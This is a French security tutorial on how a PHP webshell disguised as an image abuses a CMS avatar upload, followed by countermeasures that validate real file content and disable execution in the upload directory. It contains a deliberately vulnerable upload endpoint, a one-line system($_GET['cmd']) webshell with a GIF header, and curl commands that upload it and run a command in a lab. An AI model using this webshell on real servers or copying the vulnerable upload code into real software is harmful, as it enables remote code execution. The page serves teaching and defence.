Aller au contenu

Upload de shell PHP déguisé en image dans un CMS

Upload de shell PHP déguisé en image dans un CMS

Section intitulée « Upload de shell PHP déguisé en image dans un CMS »

Un formulaire de téléversement d’avatar, une vérification de type qui se fie à l’extension du nom de fichier, un serveur qui exécute le PHP (PHP Hypertext Preprocessor) partout où il en trouve : trois choix banals qui, combinés, donnent l’exécution de code à distance sur le serveur. Cette page monte un CMS (Content Management System, système de gestion de contenu) minimal vulnérable, dépose un shell maquillé en image, puis referme les deux verrous qui manquaient.

→ Lire l’explication complète de la marmotte

La confusion de type : extension, en-tête déclaré, contenu réel

Section intitulée « La confusion de type : extension, en-tête déclaré, contenu réel »

Un fichier téléversé porte trois informations de type, et elles peuvent se contredire. L’extension du nom (.jpg, .php) n’est qu’une convention de nommage, choisie par le client, sans lien avec le contenu. Le type MIME (Multipurpose Internet Mail Extensions) annoncé dans l’en-tête Content-Type de la requête est lui aussi fourni par le client, donc falsifiable à volonté. Seul le contenu réel des premiers octets, la signature de format ou « nombre magique », dit ce qu’est vraiment le fichier : un JPEG (Joint Photographic Experts Group) commence par les octets FF D8 FF, un PNG (Portable Network Graphics) par 89 50 4E 47.

La confusion de type naît quand la validation regarde l’une des deux premières informations et que l’exécution dépend de la troisième, ou d’une quatrième. Le cas classique : le CMS accepte le fichier parce que son extension est .jpg ou parce que son Content-Type annonce image/jpeg, l’enregistre dans un répertoire servi par le serveur web, et ce serveur décide d’exécuter ou non selon une règle qui lui est propre (souvent l’extension, justement, mais pas toujours la même que celle vérifiée à l’entrée).

La règle générale : un contrôle de sécurité qui porte sur une donnée fournie par l’attaquant ne contrôle rien. L’extension et le Content-Type sont fournis par l’attaquant. Toute validation qui s’arrête là est décorative.

Ce qui transforme un fichier téléversé en exécution de code

Section intitulée « Ce qui transforme un fichier téléversé en exécution de code »

Deux conditions doivent se réunir, et c’est leur conjonction qui compte.

D’abord, le fichier doit contenir du code que le serveur acceptera d’interpréter. Un interpréteur PHP n’exécute que ce qui se trouve entre les balises <?php et ?> et ignore tout le reste. On peut donc préfixer un vrai en-tête d’image (ou même une image valide entière) par du code PHP, ou l’insérer dans un champ de métadonnées : le fichier reste une image affichable, et reste du code exécutable. Cette dualité est la clé du déguisement.

Ensuite, le serveur doit être amené à interpréter ce fichier comme du PHP plutôt qu’à le servir comme un octet-flux d’image. C’est là que la configuration du serveur pèse. Un serveur qui associe l’exécution PHP à l’extension .php n’exécutera pas un .jpg, sauf si une seconde faille intervient : une extension double mal gérée (shell.php.jpg sur une configuration Apache ancienne qui exécute au premier segment reconnu), une directive AddHandler trop large, un .htaccess téléversable qui réécrit les règles, ou un CMS qui renomme les fichiers de façon prévisible et laisse deviner un chemin en .php.

Le compromis central est celui de tout téléversement de fichier : on gagne une fonctionnalité attendue par les utilisateurs (déposer un avatar, une pièce jointe), on paie l’accueil, sur son propre disque, de données entièrement contrôlées par l’attaquant, dans un emplacement souvent servi par le serveur web. La question n’est jamais « ce fichier est-il une image ? » mais « que se passe-t-il si ce n’en est pas une ? ».

Le décor est une machine virtuelle jetable avec un serveur web PHP et un endpoint de téléversement qui reproduit la faille typique : il valide le type sur le Content-Type annoncé, conserve le nom de fichier d’origine, et dépose dans un répertoire public exécutable.

<?php
// upload.php : endpoint de LABORATOIRE deliberement vulnerable.
// Faille 1 : la validation se fie au Content-Type ANNONCE par le client.
// Faille 2 : le nom de fichier d'origine est conserve tel quel.
if ($_FILES['avatar']['type'] === 'image/jpeg') { // controle decoratif
$cible = '/var/www/html/uploads/' . $_FILES['avatar']['name'];
move_uploaded_file($_FILES['avatar']['tmp_name'], $cible);
echo "Avatar enregistre : " . $cible;
}

On forge un fichier qui est à la fois une image valide et un shell PHP, puis on le téléverse en mentant sur le Content-Type et sur l’extension.

Fenêtre de terminal
# 1. Fabriquer le fichier hybride : entete GIF valide + code PHP.
# "GIF89a" est un vrai magic number d'image, l'interpreteur PHP l'ignore.
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif
# 2. Televerser en annoncant un Content-Type d'image (mensonge cote client),
# tout en gardant une extension .php dans le nom conserve par le serveur.
curl -F "[email protected];type=image/jpeg;filename=shell.php" \
http://cible.lab/upload.php
# Réponse : avatar enregistré : /var/www/html/uploads/shell.php
# 3. Le serveur associe .php a l'interpreteur PHP : le code s'execute.
curl "http://cible.lab/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Le fichier a passé le contrôle parce que son Content-Type disait image/jpeg. Il s’exécute parce que le nom conservé se termine par .php et que le répertoire d’upload est servi avec l’interpréteur actif. Deux hypothèses fausses, une seule requête pour la démonstration.

Contre-mesures : valider le contenu réel, couper l’exécution

Section intitulée « Contre-mesures : valider le contenu réel, couper l’exécution »

Deux verrous, indépendants, et il faut les deux. Un seul qui saute et la brèche reste.

Le premier verrou est la validation sur le contenu réel, jamais sur une donnée fournie par le client. On lit les premiers octets du fichier, on vérifie la signature de format, et on impose une extension dérivée du type détecté, pas de celle du client. Renommer le fichier vers un identifiant aléatoire supprime au passage le contrôle du nom par l’attaquant.

<?php
// Validation sur le contenu reel, via finfo (libmagic).
$finfo = new finfo(FILEINFO_MIME_TYPE);
$type_reel = $finfo->file($_FILES['avatar']['tmp_name']); // lit les octets
$autorises = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
if (!isset($autorises[$type_reel])) {
http_response_code(415); // 415 Unsupported Media Type
exit('Type de fichier refuse');
}
// Nom aleatoire + extension DERIVEE du type detecte, jamais du client.
$nom = bin2hex(random_bytes(16)) . '.' . $autorises[$type_reel];
move_uploaded_file($_FILES['avatar']['tmp_name'], '/var/www/uploads/' . $nom);

Le second verrou est la désactivation de l’exécution dans le répertoire d’upload. Même un fichier hybride qui passerait la validation ne doit jamais être interprété. On coupe l’exécution PHP au niveau du serveur, ce qui rend le contenu du répertoire inerte quoi qu’il contienne.

# nginx : le repertoire d'upload sert des octets, jamais du code.
location ^~ /uploads/ {
default_type application/octet-stream; # rien n'est interprete
location ~ \.php$ { deny all; } # ceinture et bretelles
}

La position à défendre : ces deux verrous ne se remplacent pas, ils se complètent. La validation de contenu peut être contournée (un fichier polyglotte valide comme image ET exécutable comme code existe pour la plupart des formats), la désactivation d’exécution peut sauter (une réécriture de configuration, un répertoire oublié). Chacun couvre la défaillance de l’autre.

Ce que ces contre-mesures ne garantissent pas : elles ferment l’exécution côté serveur, pas les attaques qui vivent dans le contenu servi au navigateur. Un SVG (Scalable Vector Graphics) validé comme image porte du JavaScript et donne du XSS (Cross-Site Scripting) stocké si on le sert en image/svg+xml sans en-tête restrictif. Le stockage doit se faire hors du domaine principal ou sous une politique de contenu stricte. La même discipline s’applique partout où l’on accepte des données extérieures : c’est un thème récurrent des autres démonstrations de la rubrique failles, et une brique de base de toute architecture cyber qui prend au sérieux ses entrées.

Sans validation sur le contenu réel et sans coupure de l’exécution dans le répertoire d’upload, tout formulaire de téléversement devient une voie d’exécution de code à distance : un compte quelconque (parfois un simple visiteur, selon le point d’upload exposé) obtient un interpréteur sur le serveur, avec les droits du processus web. À partir de là s’ouvre la lecture des fichiers de configuration et des secrets applicatifs, la connexion à la base de données, et l’escalade vers les autres services accessibles depuis la machine. Ce qui se perd aussi, c’est l’intégrité du contenu servi : le répertoire d’upload, censé ne contenir que des médias, héberge désormais du code persistant que l’attaquant recharge à volonté, y compris après un redémarrage. La détection est tardive, ces fichiers se fondant dans le flux normal des médias téléversés par les utilisateurs légitimes.

Un site qui laisse ses utilisateurs déposer une photo doit d’abord décider si le fichier reçu est bien une image. Le piège, c’est qu’un fichier annonce lui-même ce qu’il prétend être, par la fin de son nom et par une étiquette envoyée en même temps que lui, et que ces deux indications sont écrites par la personne qui envoie le fichier. Un attaquant ment donc sur les deux. Il prépare un fichier spécial qui commence par les premiers octets d’une vraie image, ce qui le fait ressembler à une image, mais qui contient aussi, plus loin, des instructions destinées au programme du serveur. Si le site se contente de croire l’étiquette, il enregistre ce fichier. Ensuite, tout dépend de l’endroit où il le range et de la façon dont le serveur traite ce dossier : si le serveur exécute les instructions qu’il trouve dans les fichiers de ce dossier au lieu de simplement les afficher, les instructions cachées de l’attaquant tournent avec les droits du site, et il peut lancer les commandes de son choix sur la machine. Pour empêcher ça, il faut deux protections en même temps : vérifier le vrai contenu du fichier en lisant ses premiers octets plutôt que de croire son nom, et interdire au serveur d’exécuter quoi que ce soit dans le dossier de dépôt, pour qu’un fichier piégé qui passerait quand même reste inoffensif. Si l’une des deux manque, la porte reste ouverte.

À lire aussi

Pages voisines

: les deux pages se citent l’une l’autre.